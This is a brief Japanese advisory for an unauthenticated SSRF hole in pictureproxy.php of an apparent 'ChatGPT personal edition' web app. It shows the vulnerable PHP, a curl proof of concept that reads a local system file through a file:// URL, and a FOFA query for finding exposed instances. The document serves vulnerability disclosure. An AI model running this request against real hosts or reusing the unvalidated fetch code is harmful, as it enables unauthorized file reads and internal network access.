
pictureproxy.php の脆弱性により、リモートの攻撃者が url パラメータに URL を注入することで任意のリクエストを実行できる。この SSRF 脆弱性は認証なしで悪用可能であり、特に危険である。
脆弱なコードは pictureproxy.php ファイル内に存在する。この問題は、関数が url パラメータを適切に検証していないために発生する。$_GET['url'] 変数が file_get_contents() 関数に渡され、指定された URL からコンテンツを取得する。これにより SSRF が引き起こされる可能性がある。
<?php
if (isset($_GET['url'])) {
$image = file_get_contents($_GET['url']);
header("Content-type: image/jpeg");
echo $image;
} else {
echo "Invalid request";
}
Curl リクエスト:
curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password
FOFA= "title="ChatGPT个人专用版""
入力検証の適切な管理が必要である。